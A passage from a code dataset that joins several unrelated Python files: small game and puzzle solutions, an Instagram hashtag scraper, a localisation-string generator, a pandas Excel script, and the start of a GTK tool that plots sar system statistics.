whitePlayer.play()\n else:\n print(\"Blacks' turn.\")\n play = blackPlayer.play()\n if play:\n self.gameBoard = play\n self.gameBoard[\"allies\"], self.gameBoard[\"opponents\"] = self.gameBoard[\"opponents\"], self.gameBoard[\n \"allies\"]\n self.currentDirections, self.otherDirections = self.otherDirections, self.currentDirections\n self.turn += 1\n else:\n canPlay = False\n tE = time.time()\n print(\"Game duration : \" + str(tE - tS) + \" seconds.\")\n if self.turn < self.maxTurns:\n if self.turn % 2 != 0:\n print(\"Whites' win.\")\n return 1\n else:\n print(\"Blacks' win.\")\n return -1\n else:\n print(\"Declared Draw\")\n return 0\n","sub_path":"Code/src/Checkers.py","file_name":"Checkers.py","file_ext":"py","file_size_in_byte":15181,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"106803723","text":"import math\nt = '4 4 2 7'\ntemp = t.split()\nn = int(temp[0])\nm = int(temp[1])\noneRidePrice = int(temp[2])\nmRidePrice = int(temp[3])\n\nmRideCheaper = False\n\nif(mRidePrice < m*oneRidePrice):\n mRideCheaper = True\n\nif (mRideCheaper == False):\n print(n*oneRidePrice)\nelse:\n divident = math.floor(n/m)\n mod = (n%m)\n\n cost1 = (mRidePrice * divident) + (mod * oneRidePrice)\n cost2 = (divident + 1) * mRidePrice\n\n costList = [cost1, cost2]\n\n print(min(costList))\n","sub_path":"CodeForces/A. Cheap Travel.py","file_name":"A. Cheap Travel.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"343771903","text":"import json\nfrom json import JSONDecodeError\nimport bs4\nimport requests\nimport re\nimport logging as log\nfrom abc import ABCMeta, abstractmethod\nimport sys\nimport os\nimport datetime\nimport time\nimport tags\n\nproxies = {\n 'https':''\n}\n\nclass InstagramUser:\n def __init__(self, user_id, username=None, bio=None, followers_count=None, following_count=None, is_private=False):\n \"\"\"\n A class to represent an Instagram User\n\n :param user_id: User ID of instagram user\n :param username: Username of Instagram user\n :param bio: Bio text for user\n :param followers_count: Number of followers\n :param following_count: Number of people following\n :param is_private: Boolean to indicate if account is private or not\n \"\"\"\n self.id = user_id\n self.username = username\n self.bio = bio\n self.followers_count = followers_count\n self.following_count = following_count\n self.is_private = is_private\n\n def get_userid(self):\n return self.id\n\n\nclass InstagramPost:\n def __init__(self, post_id, code, user=None, caption=\"\", display_src=None, is_video=False, created_at=None):\n \"\"\"\n A class to represent a post on Instagram\n :param post_id: ID of the post\n :param code: Code of the post\n :param user: A user object representing the owner of the post\n :param caption: The caption/text of the post\n :param display_src: The URL of the image of the post\n :param is_video: A boolean value indicating it's a video\n :param created_at: The time it was created\n \"\"\"\n self.post_id = post_id\n self.code = code\n self.caption = caption\n self.user = user\n self.display_src = display_src\n self.is_video = is_video\n self.created_at = created_at\n\n def processed_text(self):\n \"\"\"\n Processes a caption to remove newlines in it.\n :return:\n \"\"\"\n return self.code\n '''\n if self.caption is None:\n return \"\"\n else:\n text = re.sub('[\\n\\r]', ' ', self.caption)\n return text\n '''\n\n def hashtags(self):\n \"\"\"\n Simple hashtag extractor to return the hastags in the post\n :return:\n \"\"\"\n hashtags = []\n if self.caption is None:\n return hashtags\n else:\n for tag in re.findall(\"#[a-zA-Z0-9]+\", self.caption):\n hashtags.append(tag)\n return hashtags\n\n def processed_post(self):\n return {'post_id':self.post_id,'code':self.code,'caption':self.caption,\n 'user':self.user.get_userid(),'display_src':self.display_src,'is_video':self.is_video,\n 'created_at':self.created_at,}\n\n\nclass HashTagSearch(metaclass=ABCMeta):\n instagram_root = \"https://www.instagram.com\"\n\n def __init__(self, ):\n \"\"\"\n This class performs a search on Instagrams hashtag search engine, and extracts posts for that given hashtag.\n\n There are some limitations, as this does not extract all occurrences of the hash tag.\n\n Instead, it extracts the most recent uses of the tag.\n \"\"\"\n super().__init__()\n self.folder_name = None\n self.tag = None\n self.current_num = 0\n\n def extract_recent_tag(self, tag):\n \"\"\"\n Extracts Instagram posts for a given hashtag\n :param tag: Hashtag to extract\n \"\"\"\n folder_name = '@searchResult'\n if not os.path.exists(folder_name):\n os.makedirs(folder_name)\n\n self.tag = tag\n self.folder_name = folder_name\n self.current_num = 0\n\n url_string = \"https://www.instagram.com/explore/tags/%s/\" % tag\n print(url_string)\n self.print_url(url_string)\n response = bs4.BeautifulSoup(requests.get(url_string).text, \"html.parser\")\n potential_query_ids = self.get_query_id(response)\n shared_data = self.extract_shared_data(response)\n\n #media = shared_data['entry_data']['TagPage'][0]['tag']['media']\n media = shared_data['entry_data']['TagPage'][0]['graphql']['hashtag']['edge_hashtag_to_media']\n posts = []\n #for node in media['nodes']:\n for node in media['edges']:\n post = self.extract_recent_instagram_post(node['node'])\n posts.append(post)\n self.save_results(posts)\n\n end_cursor = media['page_info']['end_cursor']\n print(potential_query_ids)\n # figure out valid queryId\n success = False\n for potential_id in potential_query_ids:\n url = \"https://www.instagram.com/graphql/query/?query_id=%s&tag_name=%s&first=12&after=%s\" % (\n potential_id, tag, end_cursor)\n try:\n data = requests.get(url).json()\n if 'hashtag' not in data['data']:\n # empty response, skip\n continue\n query_id = potential_id\n success = True\n break\n except JSONDecodeError as de:\n # no valid JSON retured, most likely wrong query_id resulting in 'Oops, an error occurred.'\n print('JSONDecodeError')\n self.print_url('JSONDecodeError')\n pass\n except KeyError as ke:\n print(ke)\n print(data)\n if 'message' in data and data['message'] == 'execution failure':\n pass\n else:\n # reach rate limit sleep 1 hour\n now = datetime.datetime.now()\n print(now.strftime(\"%Y-%m-%d %H:%M:%S\"))\n print(\"start sleeping for 1 hour\")\n self.print_url(\"start sleeping for 1 hour\")\n for step in range(1, 7):\n time.sleep(600);\n now = datetime.datetime.now()\n print(now.strftime(\"%Y-%m-%d %H:%M:%S\"))\n print(str((6-step)*10)+' minutes to go')\n data = requests.get(url, proxies=proxies).json()\n if 'data' not in data:\n continue\n if 'hashtag' not in data['data']:\n # empty response, skip\n continue\n query_id = potential_id\n success = True\n break\n\n if not success:\n log.error(\"Error extracting Query Id, exiting\")\n sys.exit(1)\n\n while end_cursor is not None:\n if tags.tags[tag] == 0:\n pass\n elif self.current_num > tags.tags[tag]:\n print('It is enough, time for next tag')\n break\n url = \"https://www.instagram.com/graphql/query/?query_id=%s&tag_name=%s&first=12&after=%s\" % (\n query_id, tag, end_cursor)\n print(url)\n self.print_url(url)\n try:\n data = json.loads(requests.get(url).text)\n end_cursor = data['data']['hashtag']['edge_hashtag_to_media']['page_info']['end_cursor']\n posts = []\n for node in data['data']['hashtag']['edge_hashtag_to_media']['edges']:\n posts.append(self.extract_recent_query_instagram_post(node['node']))\n self.save_results(posts)\n except Exception as e:\n print(e)\n print(data)\n # reach rate limit sleep 1 hour\n now = datetime.datetime.now()\n print(now.strftime(\"%Y-%m-%d %H:%M:%S\"))\n print(\"start sleeping for 1 hour\")\n self.print_url(\"start sleeping for 1 hour\")\n for step in range(1, 7):\n time.sleep(600);\n now = datetime.datetime.now()\n print(now.strftime(\"%Y-%m-%d %H:%M:%S\"))\n print(str((6-step)*10)+' minutes to go')\n\n def print_url(self, address):\n\n file_name = os.path.join(self.folder_name, self.tag + '.log')\n output_file = open(file_name, 'a+', newline='', encoding='utf-8')\n output_file.writelines(address)\n output_file.writelines('\\n')\n output_file.close()\n\n @staticmethod\n def extract_shared_data(doc):\n for script_tag in doc.find_all(\"script\"):\n if script_tag.text.startswith(\"window._sharedData =\"):\n shared_data = re.sub(\"^window\\._sharedData = \", \"\", script_tag.text)\n shared_data = re.sub(\";$\", \"\", shared_data)\n shared_data = json.loads(shared_data)\n return shared_data\n\n @staticmethod\n def extract_recent_instagram_post(node):\n return InstagramPost(\n post_id=node['id'],\n code=r'https://www.instagram.com/p/'+node['shortcode']+r'/',\n user=InstagramUser(user_id=node['owner']['id']),\n caption=node['edge_media_to_caption']['edges'][0]['node']['text']\n if len(node['edge_media_to_caption']['edges']) > 0 else None,\n display_src=node['display_url'],\n is_video=node['is_video'],\n created_at=node['taken_at_timestamp']\n )\n\n @staticmethod\n def extract_recent_query_instagram_post(node):\n return InstagramPost(\n post_id=node['id'],\n code=r'https://www.instagram.com/p/'+node['shortcode']+r'/',\n user=InstagramUser(user_id=node['owner']['id']),\n caption=node['edge_media_to_caption']['edges'][0]['node']['text']\n if len(node['edge_media_to_caption']['edges']) > 0 else None,\n display_src=node['display_url'],\n is_video=node['is_video'],\n created_at=node['taken_at_timestamp']\n )\n\n @staticmethod\n def extract_owner_details(owner):\n \"\"\"\n Extracts the details of a user object.\n :param owner: Instagrams JSON user object\n :return: An Instagram User object\n \"\"\"\n username = None\n if \"username\" in owner:\n username = owner[\"username\"]\n is_private = False\n if \"is_private\" in owner:\n is_private = is_private\n user = InstagramUser(owner['id'], username=username, is_private=is_private)\n return user\n\n def get_query_id(self, doc):\n query_ids = []\n for script in doc.find_all(\"script\"):\n #if script.has_attr(\"src\") and \"en_US_Commons\" in script['src']:\n if script.has_attr(\"src\") and \"en_US_ConsumerCommons\" in script['src']:\n text = requests.get(\"%s%s\" % (self.instagram_root, script['src'])).text\n for query_id in re.findall(\"(?<=queryId:\\\")[0-9]{17,17}\", text):\n query_ids.append(query_id)\n if script.has_attr(\"src\") and \"ConsumerCommons\" in script['src']:\n text = requests.get(\"%s%s\" % (self.instagram_root, script['src'])).text\n for query_id in re.findall(\"(?<=queryId:\\\")[0-9]{17,17}\", text):\n query_ids.append(query_id)\n return query_ids\n\n @abstractmethod\n def save_results(self, instagram_results):\n \"\"\"\n Implement yourself to work out what to do with each extract batch of posts\n :param instagram_results: A list of Instagram Posts\n \"\"\"\n now = datetime.datetime.now()\n file_name = os.path.join(self.folder_name, self.tag + '_' + now.strftime(\"%Y%m%d%H%M%S%f\") + '.json')\n output_file = open(file_name, 'w', newline='', encoding='utf-8')\n for i, post in enumerate(instagram_results):\n try:\n text = json.dumps(post.processed_post(), ensure_ascii=False)\n output_file.writelines(text)\n output_file.writelines('\\n')\n self.current_num = self.current_num + 1\n except Exception as e:\n print(e)\n\n output_file.close()\n\nclass HashTagSearchExample(HashTagSearch):\n def __init__(self):\n super().__init__()\n self.total_posts = 0\n\n def save_results(self, instagram_results):\n super().save_results(instagram_results)\n for i, post in enumerate(instagram_results):\n self.total_posts += 1\n print(\"%i - %s\" % (self.total_posts, post.processed_text()))\n\n\nif __name__ == '__main__':\n log.basicConfig(level=log.INFO)\n for word in tags.tags:\n #HashTagSearchExample().extract_recent_tag(\"松本城\")\n HashTagSearchExample().extract_recent_tag(word)\n print(\"Job done\")\n","sub_path":"instagram_searchV2.py","file_name":"instagram_searchV2.py","file_ext":"py","file_size_in_byte":12604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"18706903","text":"#\n# @lc app=leetcode.cn id=88 lang=python\n#\n# [88] 合并两个有序数组\n#\n# https://leetcode-cn.com/problems/merge-sorted-array/description/\n#\n# algorithms\n# Easy (42.48%)\n# Total Accepted: 36.2K\n# Total Submissions: 83.3K\n# Testcase Example: '[1,2,3,0,0,0]\\n3\\n[2,5,6]\\n3'\n#\n# 给定两个有序整数数组 nums1 和 nums2,将 nums2 合并到 nums1 中,使得 num1 成为一个有序数组。\n#\n# 说明:\n#\n#\n# 初始化 nums1 和 nums2 的元素数量分别为 m 和 n。\n# 你可以假设 nums1 有足够的空间(空间大小大于或等于 m + n)来保存 nums2 中的元素。\n#\n#\n# 示例:\n#\n# 输入:\n# nums1 = [1,2,3,0,0,0], m = 3\n# nums2 = [2,5,6], n = 3\n#\n# 输出: [1,2,2,3,5,6]\n#\n#\n\n\nclass Solution(object):\n def merge(self, nums1, m, nums2, n):\n \"\"\"\n :type nums1: List[int]\n :type m: int\n :type nums2: List[int]\n :type n: int\n :rtype: void Do not return anything, modify nums1 in-place instead.\n\n 思路: 将nums2中的逐个插入到nums1合适的位置,调整m的大小,如果某一个nums2中的值大于nums1最后一个值\n 则将nums2剩下的值全部添加到nums1后边\n \"\"\"\n\n for i in xrange(n):\n for j in xrange(m):\n if nums2[i] < nums1[j]:\n nums1.insert(j, nums2[i])\n nums1.pop()\n m += 1\n break\n if m == len(nums1):\n return\n else:\n for k, num in enumerate(nums2[i:]):\n nums1[m+k] = num\n return\n\n","sub_path":"88.合并两个有序数组.py","file_name":"88.合并两个有序数组.py","file_ext":"py","file_size_in_byte":1635,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"322545421","text":"#\n# Created by Raimundas Sakalauskas on 2019-08-29.\n# Copyright (c) 2019 Particle. All rights reserved.\n#\n\nimport sys\nimport json\nimport io\nfrom datetime import datetime\n\njsonPath = 'TinkerStrings.json'\nstringsPath = 'TinkerStrings.strings'\nswiftPath = 'TinkerStrings.swift'\nmethodName = 'tinkerLocalized()'\nuseObjC = False\n\nif (len(sys.argv) > 1):\n jsonPath = sys.argv[1]\n stringsPath = sys.argv[2]\n swiftPath = sys.argv[3]\n methodName = sys.argv[4]\n\nif (len(sys.argv) > 5):\n useObjC = sys.argv[5] == 'objc'\n\ndef outputStrings(json, key, output):\n for n in sorted(json):\n if isinstance(json[n], dict):\n key.append(n)\n outputStrings(json[n], key, output)\n key.pop()\n else:\n output.write(u'\\\"%s.%s\\\" = \\\"%s\\\";\\n' % ('.'.join(key), n, json[n]))\n output.write(u'\\n')\n\n\n\ndef outputSwift(json, key, output):\n for n in sorted(json):\n if isinstance(json[n], dict):\n output.write(u'%senum %s {\\n' % ('\\t' * len(key), n))\n key.append(n)\n outputSwift(json[n], key, output)\n key.pop()\n output.write(u'%s}\\n' % ('\\t' * len(key)))\n else:\n output.write(u'%sstatic let %s = \"%s.%s\".%s\\n' % ('\\t' * len(key), n, '.'.join(key), n, methodName))\n\ndef outputObjC(json, key, output):\n for n in sorted(json):\n if isinstance(json[n], dict):\n key.append(n)\n outputObjC(json[n], key, output)\n key.pop()\n else:\n output.write(u'#define %s_%s NSLocalizedStringFromTableInBundle(@\\\"%s.%s\\\", @\\\"ParticleSetupStrings\\\", [ParticleSetupMainController getResourcesBundle], @\\\"\\\")\\n' % ('_'.join(key), n, '.'.join(key), n))\n output.write(u'\\n')\n\n#open data as\ndata = json.load(io.open(jsonPath, 'r', encoding='utf8'))\nkey = []\n\n#prepare for the output\noutput = io.open(stringsPath, 'w', encoding='utf8')\noutput.write(u'// Generated on %s by iOS.py\\n\\n' % datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"))\noutputStrings(data, key, output)\noutput.close()\n\n#prepare for the output\noutput = io.open(swiftPath, 'w', encoding='utf8')\noutput.write(u'// Generated on %s by iOS.py\\n\\n' % datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\"))\nif (useObjC == False):\n outputSwift(data, key, output)\nelse:\n outputObjC(data, key, output)\noutput.close()\n\n\n","sub_path":"tinker_strings/venv/iOS.py","file_name":"iOS.py","file_ext":"py","file_size_in_byte":2327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"436451948","text":"import pandas as pd\r\nfrom pandas import ExcelWriter\r\n\r\nfha = pd.read_excel('path_to_file') #I have only done this with excel files \r\n\r\n#Pulling desired columns to include in final output(Change columns to whatever columns you need to pull)\r\nyo1 = fha.iloc[:,2:3] \r\nyo2 = fha.iloc[:,5:6]\r\n\r\n#Combines and renames columns\r\ncombo = pd.concat([yo1, yo2], axis = 1)\r\ncombo = combo.rename(index=str, columns={'Name_1': 'A', 'Name_2': 'B'})\r\n\r\n#combines duplicate values, aggregates all the data in column B tied to specific value into one row separated by commas\r\nfinal = combo.groupby('A').agg({'B':', '.join}).reset_index()\r\n\r\n#saves to new excel workbook\r\nwriter = ExcelWriter('save_path')\r\nfinal.to_excel(writer) \r\nwriter.save()","sub_path":"Merging_colA_values_Retaining_colB_Info.py","file_name":"Merging_colA_values_Retaining_colB_Info.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"111468943","text":"#!/usr/bin/env python3\n\nfrom gi.repository import Gtk, Gio, Pango\nimport subprocess\nimport re\nimport pygal\nimport locale\nimport os.path\n\n\n\n\nclass GSarPlot(Gtk.Window):\n\n def __init__(self):\n Gtk.Window.__init__(self, title=\"gsarplot\")\n self.set_border_width(5)\n self.set_default_size(800, 600)\n\n #windowicon = self.render_icon(Gtk.STOCK_INFO, 1)\n #self.set_icon(windowicon)\n\n hb = Gtk.HeaderBar()\n hb.set_show_close_button(True)\n hb.props.title = \"gsarplot\"\n self.set_titlebar(hb)\n \n #left box with buttons\n left_box = Gtk.Box(orientation=Gtk.Orientation.HORIZONTAL)\n Gtk.StyleContext.add_class(left_box.get_style_context(), \"linked\")\n\n self.file_button = Gtk.Button(\"Choose File\")\n self.file_button.connect(\"clicked\", self.on_file_clicked)\n left_box.add(self.file_button)\n\t\n\t#options\n major_store = Gtk.ListStore(str)\n major_opts = [\"-u\", \"-b\", \"-q\", \"-r\", \"-S\", \"-W\"]\n for opt in major_opts:\n major_store.append([opt])\n self.major_combo = Gtk.ComboBox.new_with_model(major_store)\n self.major_combo.connect(\"changed\", self.on_major_combo_changed)\n renderer_text = Gtk.CellRendererText()\n self.major_combo.pack_start(renderer_text, True)\n self.major_combo.add_attribute(renderer_text, \"text\", 0)\n\n left_box.add(self.major_combo)\n \n hb.pack_start(left_box)\n \n #right box with buttons \n right_box = Gtk.Box(orientation=Gtk.Orientation.HORIZONTAL)\n Gtk.StyleContext.add_class(right_box.get_style_context(), \"linked\")\n \n self.minor_store = Gtk.ListStore(str)\n self.minor_opts = []\n for opt in self.minor_opts:\n self.minor_store.append([opt])\n self.minor_combo = Gtk.ComboBox.new_with_model(self.minor_store)\n self.minor_combo.connect(\"changed\", self.on_minor_combo_changed)\n renderer_text = Gtk.CellRendererText()\n self.minor_combo.pack_start(renderer_text, True)\n self.minor_combo.add_attribute(renderer_text, \"text\", 0)\n\n right_box.add(self.minor_combo)\n \n self.major_opt_selected = \"\"\n self.minor_opt_selected = \"\"\n \n button3 = Gtk.Button(\"Plot\")\n button3.connect(\"clicked\", self.plot)\n right_box.add(button3)\n \n hb.pack_end(right_box)\n \n #Textview\n grid = Gtk.Grid()\n self.add(grid)\n \n scrolledwindow = Gtk.ScrolledWindow()\n scrolledwindow.set_hexpand(True)\n scrolledwindow.set_vexpand(True)\n grid.attach(scrolledwindow, 0, 1, 3, 1)\n\n textview = Gtk.TextView()\n textview.set_editable(False)\n self.textbuffer = textview.get_buffer()\n self.textbuffer.set_text(\"\")\n scrolledwindow.add(textview)\n \n fontdesc = Pango.FontDescription(\"monospace 10\")\n textview.modify_font(fontdesc)\n\n #general valiables\n self.sa_filename = \"\"\n self.sa_orig_data = \"\"\n self.sa_data = \"\" \n \n #sar variables\n #sar_u\n self.sar_u_time = []\n self.sar_u_cpu = []\n self.sar_u_user = []\n self.sar_u_nice = []\n self.sar_u_system = []\n self.sar_u_iowait = []\n self.sar_u_steal = []\n self.sar_u_idle = []\n #sar_b\n self.sar_b_time =[]\n self.sar_b_tps = []\n self.sar_b_rtps = []\n self.sar_b_wtps = []\n self.sar_b_bread = []\n self.sar_b_bwrtn = []\n #sar_q\n self.sar_q_time =[]\n self.sar_q_runqsz = []\n self.sar_q_plistsz = []\n self.sar_q_ldavg1 = []\n self.sar_q_ldavg5 = []\n self.sar_q_ldavg15 = []\n self.sar_q_blocked = []\n #sar_r\n self.sar_r_time =[]\n self.sar_r_kbmemfree = []\n self.sar_r_kbmemused = []\n self.sar_r_memused = []\n self.sar_r_kbbuffers = []\n self.sar_r_kbcached = []\n self.sar_r_kbcommit = []\n self.sar_r_commit = []\n self.sar_r_kbactive = []\n self.sar_r_kbinact = []\n self.sar_r_kbdirty = []\n #sar_S\n self.sar_S_time = []\n self.sar_S_kbswpfree = []\n self.sar_S_kbswpused = []\n self.sar_S_swpused = []\n self.sar_S_kbswpcad = []\n self.sar_S_swpcad = []\n #sar_W\n self.sar_W_time = []\n self.sar_W_pswpin = []\n self.sar_W_pswpout = []\n \n \n def on_file_clicked(self, widget):\n dialog = Gtk.FileChooserDialog(\"Please choose a sar saXX data file\", self,\n Gtk.FileChooserAction.OPEN,\n (Gtk.STOCK_CANCEL, Gtk.ResponseType.CANCEL,\n Gtk.STOCK_OPEN, Gtk.ResponseType.OK))\n\t\n\t#fedora: /var/log/sa\n\t#ubuntu:/var/log/sysstat\n if os.path.exists(\"/var/log/sa\") == True:\n dialog.set_current_folder('/var/log/sa')\n elif os.path.exists(\"/var/log/sysstat\") == True:\n dialog.set_current_folder('/var/log/sysstat')\n else:\n dialog.set_current_folder('~')\n\n self.add_filters(dialog)\n\n response = dialog.run()\n if response == Gtk.ResponseType.OK:\n print(\"Open clicked\")\n print(\"File selected: \" + dialog.get_filename())\n self.sa_filename = dialog.get_filename()\n #self.sar_u(widget)\n self.file_button.set_label(\"-f \" + self.sa_filename)\n \n if self.major_opt_selected != \"\":\n self.on_major_combo_changed(self.major_combo)\n elif response == Gtk.ResponseType.CANCEL:\n print(\"Cancel clicked\")\n\n dialog.destroy()\n\n def add_filters(self, dialog):\n filter_any = Gtk.FileFilter()\n filter_any.set_name(\"Any files\")\n filter_any.add_pattern(\"sa[0-9]*\")\n dialog.add_filter(filter_any)\n \n def on_major_combo_changed(self, combo):\n tree_iter = combo.get_active_iter()\n if tree_iter != None:\n model = combo.get_model()\n opt = model[tree_iter][0]\n print(\"major: =%s\" % opt)\n \n self.major_opt_selected = opt\n \n if opt == \"-u\":\n self.sar_u()\n \n self.minor_store = Gtk.ListStore(str)\n self.minor_opts = [\"iowait\", \"usersys\", \"idle\"]\n for opt in self.minor_opts:\n self.minor_store.append([opt])\n self.minor_combo.set_model(self.minor_store)\n elif opt == \"-b\":\n self.sar_b()\n \n self.minor_store = Gtk.ListStore(str)\n self.minor_opts = [\"tps\", \"rtps-wtps\", \"bread-bwrtn\"]\n for opt in self.minor_opts:\n self.minor_store.append([opt])\n self.minor_combo.set_model(self.minor_store)\n elif opt == \"-q\":\n self.sar_q()\n \n self.minor_store = Gtk.ListStore(str)\n self.minor_opts = [\"runqsz-blocked\", \"plistsz\", \"ldavg-1,5,15\"]\n for opt in self.minor_opts:\n self.minor_store.append([opt])\n self.minor_combo.set_model(self.minor_store)\n elif opt == \"-r\":\n self.sar_r()\n \n self.minor_store = Gtk.ListStore(str)\n self.minor_opts = [\"memused\", \"kbbuffers-kbcached\"]\n for opt in self.minor_opts:\n self.minor_store.append([opt])\n self.minor_combo.set_model(self.minor_store)\n elif opt == \"-S\":\n self.sar_S()\n \n self.minor_store = Gtk.ListStore(str)\n self.minor_opts = [\"swpused\"]\n for opt in self.minor_opts:\n self.minor_store.append([opt])\n self.minor_combo.set_model(self.minor_store)\n elif opt == \"-W\":\n self.sar_W()\n \n self.minor_store = Gtk.ListStore(str)\n self.minor_opts = [\"pswpin-pswpout\"]\n for opt in self.minor_opts:\n self.minor_store.append([opt])\n self.minor_combo.set_model(self.minor_store) \n \n self.minor_opt_selected = \"\"\n \n def on_minor_combo_changed(self, combo):\n tree_iter = combo.get_active_iter()\n if tree_iter != None:\n model = combo.get_model()\n opt = model[tree_iter][0]\n print(\"minor: =%s\" % opt)\n self.minor_opt_selected = opt \n\n def sar_u(self):\n print(\"-> sar_u\")\n if self.sa_filename == \"\":\n print(\"no sa_filename set\")\n return\n \n self.sar_u_time = []\n self.sar_u_cpu = []\n self.sar_u_user = []\n self.sar_u_nice = []\n self.sar_u_system = []\n self.sar_u_iowait = []\n self.sar_u_steal = []\n self.sar_u_idle = []\n\n stdoutdata = subprocess.check_output([\"sar\", \"-u\", \"-f\", self.sa_filename])\n self.sa_orig_data = stdoutdata.decode(\"utf-8\")\n\n strlist = self.sa_orig_data.split(\"\\n\")\n for str1 in strlist:\n if len(str1.split()) == 8 and (not re.search('Average', str1)) and (not re.search('%', str1)) and (not re.search('Linux', str1, re.IGNORECASE)) :\n time_v, cpu_v, user_v, nice_v, system_v, iowait_v, steal_v, idle_v = str1.split()\n self.sar_u_time.append(time_v)\n self.sar_u_cpu.append(cpu_v) \n self.sar_u_user.append(locale.atof(user_v)) \n self.sar_u_nice.append(locale.atof(nice_v))\n self.sar_u_system.append(locale.atof(system_v))\n self.sar_u_iowait.append(locale.atof(iowait_v)) \n self.sar_u_steal.append(locale.atof(steal_v))\n self.sar_u_idle.append(locale.atof(idle_v))\n \n self.textbuffer.set_text(self.sa_orig_data)\n \n \n def sar_b(self):\n print(\"-> sar_b\")\n \n if self.sa_filename == \"\":\n print(\"no sa_filename set\")\n return\n \n self.sar_b_time = []\n self.sar_b_tps = []\n self.sar_b_rtps = []\n self.sar_b_wtps = []\n self.sar_b_bread = []\n self.sar_b_bwrtn = []\n \n stdoutdata = subprocess.check_output([\"sar\", \"-b\", \"-f\", self.sa_filename])\n self.sa_orig_data = stdoutdata.decode(\"utf-8\")\n\n strlist = self.sa_orig_data.split(\"\\n\")\n for str1 in strlist:\n if len(str1.split()) == 6 and (not re.search('Average', str1)) and (not re.search('tps', str1)) and (not re.search('Linux', str1, re.IGNORECASE)) :\n time_v, tps_v, rtps_v, wtps_v, bread_v, bwrtn_v = str1.split()\n self.sar_b_time.append(time_v)\n self.sar_b_tps.append(locale.atof(tps_v))\n self.sar_b_rtps.append(locale.atof(rtps_v)) \n self.sar_b_wtps.append(locale.atof(wtps_v)) \n self.sar_b_bread.append(locale.atof(bread_v)) \n self.sar_b_bwrtn.append(locale.atof(bwrtn_v)) \n \n self.textbuffer.set_text(self.sa_orig_data) \n \n def sar_q(self):\n print(\"-> sar_q\")\n\n if self.sa_filename == \"\":\n print(\"no sa_filename set\")\n return\n \n self.sar_q_time =[]\n self.sar_q_runqsz = []\n self.sar_q_plistsz = []\n self.sar_q_ldavg1 = []\n self.sar_q_ldavg5 = []\n self.sar_q_ldavg15 = []\n self.sar_q_blocked = [] \n\n stdoutdata = subprocess.check_output([\"sar\", \"-q\", \"-f\", self.sa_filename])\n self.sa_orig_data = stdoutdata.decode(\"utf-8\")\n\n strlist = self.sa_orig_data.split(\"\\n\")\n for str1 in strlist:\n if len(str1.split()) == 7 and (not re.search('Average', str1)) and (not re.search('runq-sz', str1)) and (not re.search('Linux', str1, re.IGNORECASE)) :\n time_v, runqsz_v, plistsz_v, ldavg1_v, ldavg5_v, ldavg15_v, blocked_v = str1.split()\n self.sar_q_time.append(time_v)\n self.sar_q_runqsz.append(locale.atoi(runqsz_v))\n self.sar_q_plistsz.append(locale.atoi(plistsz_v)) \n self.sar_q_ldavg1.append(locale.atof(ldavg1_v)) \n self.sar_q_ldavg5.append(locale.atof(ldavg5_v))\n self.sar_q_ldavg15.append(locale.atof(ldavg15_v))\n self.sar_q_blocked.append(locale.atoi(blocked_v)) \n \n self.textbuffer.set_text(self.sa_orig_data) \n \n def sar_r(self):\n print(\"-> sar_r\")\n\n if self.sa_filename == \"\":\n print(\"no sa_filename set\")\n return \n \n self.sar_r_time =[]\n self.sar_r_kbmemfree = []\n self.sar_r_kbmemused = []\n self.sar_r_memused = []\n self.sar_r_kbbuffers = []\n self.sar_r_kbcached = []\n self.sar_r_kbcommit = []\n self.sar_r_commit = []\n self.sar_r_kbactive = []\n self.sar_r_kbinact = []\n self.sar_r_kbdirty = []\n \n stdoutdata = subprocess.check_output([\"sar\", \"-r\", \"-f\", self.sa_filename])\n self.sa_orig_data = stdoutdata.decode(\"utf-8\")\n\n strlist = self.sa_orig_data.split(\"\\n\")\n for str1 in strlist:\n if len(str1.split()) == 11 and (not re.search('Average', str1)) and (not re.search('kbmemfree', str1)) and (not re.search('Linux', str1, re.IGNORECASE)) :\n time_v, kbmemfree_v, kbmemused_v, memused_v, kbbuffers_v, kbcached_v, kbcommit_v, commit_v, kbactive_v, kbinact_v, kbdirty_v = str1.split()\n self.sar_r_time.append(time_v) \n self.sar_r_kbmemfree.append(locale.atoi(kbmemfree_v))\n self.sar_r_kbmemused.append(locale.atoi(kbmemused_v))\n self.sar_r_memused.append(locale.atof(memused_v))\n self.sar_r_kbbuffers.append(locale.atoi(kbbuffers_v)) \n self.sar_r_kbcached.append(locale.atoi(kbcached_v)) \n self.sar_r_kbcommit.append(locale.atoi(kbcommit_v)) \n self.sar_r_commit.append(locale.atof(commit_v))\n self.sar_r_kbactive.append(locale.atoi(kbactive_v)) \n self.sar_r_kbinact.append(locale.atoi(kbinact_v)) \n self.sar_r_kbdirty.append(locale.atoi(kbdirty_v))\n\n self.textbuffer.set_text(self.sa_orig_data)\n \n def sar_S(self):\n print(\"-> sar_S\")\n\n if self.sa_filename == \"\":\n print(\"no sa_filename set\")\n return\n \n self.sar_S_time = []\n self.sar_S_kbswpfree = []\n self.sar_S_kbswpused = []\n self.sar_S_swpused = []\n self.sar_S_kbswpcad = []\n self.sar_S_swpcad = []\n\n stdoutdata = subprocess.check_output([\"sar\", \"-S\", \"-f\", self.sa_filename])\n self.sa_orig_data = stdoutdata.decode(\"utf-8\")\n\n strlist = self.sa_orig_data.split(\"\\n\")\n for str1 in strlist:\n if len(str1.split()) == 6 and (not re.search('Average', str1)) and (not re.search('kbswpfree', str1)) and (not re.search('Linux', str1, re.IGNORECASE)) :\n time_v, kbswpfree_v, kbswpused_v, swpused_v, kbswpcad_v, swpcad_v = str1.split()\n self.sar_S_time.append(time_v)\n self.sar_S_kbswpfree.append(locale.atoi(kbswpfree_v))\n self.sar_S_kbswpused.append(locale.atoi(kbswpused_v))\n self.sar_S_swpused.append(locale.atof(swpused_v))\n self.sar_S_kbswpcad.append(locale.atoi(kbswpcad_v))\n self.sar_S_swpcad.append(locale.atof(swpcad_v))\n \n 